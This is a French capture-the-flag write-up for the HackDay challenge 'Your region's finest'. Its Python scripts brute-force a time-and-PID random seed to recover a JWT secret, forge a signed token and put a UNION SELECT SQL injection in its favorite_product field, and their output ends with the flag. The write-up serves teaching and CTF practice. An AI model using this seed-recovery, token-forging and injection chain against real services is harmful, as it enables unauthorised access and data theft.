Your region's finest
Flag: HACKDAY{Th4t_s_S0m3_g000000000000d_qu4lity!}
Challenge
Ce challenge tourne sur un docker et n'est pas disponible
Solution
La première étape consiste à trouver la JWT_SECRET_KEY
. Pour cela, on peut voir dans le app.py
qu'elle est récupérée à partir de la librairie random
. Celle-ci utilise une seed, créée à partir de l'heure de démarrage du serveur ainsi que son PID. Pour cela, il faut remarquer :
le chemin
/healthz
on peut déduire l'heure de démarrageLe prix des items sur le site sont obtenus avec
random
JWT Secret
On peut donc brute force le PID et vérifier notre résultat avec le prix des items. Si l'on trouve les mêmes prix, c'est qu'on avait la bonne seed et donc qu'on a généré le même secret.
import string
import requests
import time
from bs4 import BeautifulSoup
import random
from base64 import b64encode
URL = 'http://challenges.hackday.fr:58990'
def get_uptime() -> int:
current = time.time()
uptime = requests.get(f'{URL}/healthz').json()['uptime']
return int(current - uptime)
up = get_uptime()
print(f'[i] up: {up}')
def get_prices() -> list[int]:
soup = BeautifulSoup(requests.get(URL).content, 'html.parser')
products = soup.find_all('div', {'class': 'product'})
return [int(product.find('p').text.split(': ')[1].split('.')[0]) for product in products]
prices = get_prices()
print(f'[i] prices: {prices}')
for pid in range(2**16):
random.seed(up + pid)
secret_key = "".join(random.choice(string.printable) for _ in range(32))
jwt_secret_key = "".join(random.choice(string.printable) for _ in range(32))
generated_prices = [random.randrange(10, 100), random.randrange(10, 100), random.randrange(10, 100)]
if generated_prices == prices:
print(f'[+] PID: {pid}')
print(f'[+] JWT SECRET KEY: {b64encode(jwt_secret_key.encode()).decode()}')
break
[i] up: 1737615822
[i] prices: [43, 58, 40]
[+] PID: 3
[+] JWT SECRET KEY: RGRYUkZfVy4kMjh9W1ZFRVFCMwtiL3tjXwpxR3otKD4=
Injection SQL
On peut maintenant forger des JWT. Il faut s'en servir pour injecter dans la query SQL à la ligne 115. Ici, j'ai déjà créé un compte pour obtenir un JWT, il contient ceci :
{
"alg": "HS256",
"typ": "JWT"
}
{
"fresh": false,
"iat": 1737982200,
"jti": "1c0faa6c-d462-47d0-be08-354abe0151df",
"type": "access",
"sub": "ThaySan",
"nbf": 1737982200,
"exp": 1737983100,
"favorite_product": null
}
Il faut donc mettre notre injection dans le champ favorite_product
et se rendre sur /favorite_product_info
pour la déclencher.
import string
import requests
import time
from bs4 import BeautifulSoup
import random
from base64 import b64encode
URL = 'http://challenges.hackday.fr:58990'
def get_uptime() -> int:
current = time.time()
uptime = requests.get(f'{URL}/healthz').json()['uptime']
return int(current - uptime)
up = get_uptime()
print(f'[i] up: {up}')
def get_prices() -> list[int]:
soup = BeautifulSoup(requests.get(URL).content, 'html.parser')
products = soup.find_all('div', {'class': 'product'})
return [int(product.find('p').text.split(': ')[1].split('.')[0]) for product in products]
prices = get_prices()
print(f'[i] prices: {prices}')
for pid in range(2**16):
random.seed(up + pid)
secret_key = "".join(random.choice(string.printable) for _ in range(32))
jwt_secret_key = "".join(random.choice(string.printable) for _ in range(32))
generated_prices = [random.randrange(10, 100), random.randrange(10, 100), random.randrange(10, 100)]
if generated_prices == prices:
print(f'[+] PID: {pid}')
print(f'[+] JWT SECRET KEY: {b64encode(jwt_secret_key.encode()).decode()}')
break
# Part 2
import jwt
injection = "1 UNION SELECT id, flag, NULL, NULL, NULL, NULL from flag"
payload = {
"fresh": False,
"jti": "1c0faa6c-d462-47d0-be08-354abe0151df",
"type": "access",
"sub": "ThaySan",
"favorite_product": injection
}
access_token = jwt.encode(payload, jwt_secret_key, algorithm="HS256")
print(f'[+] JWT SECRET KEY: {access_token}')
response = requests.get(f'{URL}/favorite_product_info', headers={'Cookie': f'access_token_cookie={access_token}'})
soup = BeautifulSoup(response.content, 'html.parser')
print(f'[i] Flag: {soup.find("h2").text}')
[i] up: 1737615822
[i] prices: [43, 58, 40]
[+] PID: 3
[+] JWT SECRET KEY: RGRYUkZfVy4kMjh9W1ZFRVFCMwtiL3tjXwpxR3otKD4=
[+] JWT SECRET KEY: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImp0aSI6IjFjMGZhYTZjLWQ0NjItNDdkMC1iZTA4LTM1NGFiZTAxNTFkZiIsInR5cGUiOiJhY2Nlc3MiLCJzdWIiOiJUaGF5U2FuIiwiZmF2b3JpdGVfcHJvZHVjdCI6IjEgVU5JT04gU0VMRUNUIGlkLCBmbGFnLCBOVUxMLCBOVUxMLCBOVUxMLCBOVUxMIGZyb20gZmxhZyJ9.Rjod_rZOUhK-bfjkgo0mSzfxn9Zcx_l4NtULaOC-glQ
[i] Flag: HACKDAY{Th4t_s_S0m3_g000000000000d_qu4lity!}
Dernière mise à jour
Cet article vous a-t-il été utile ?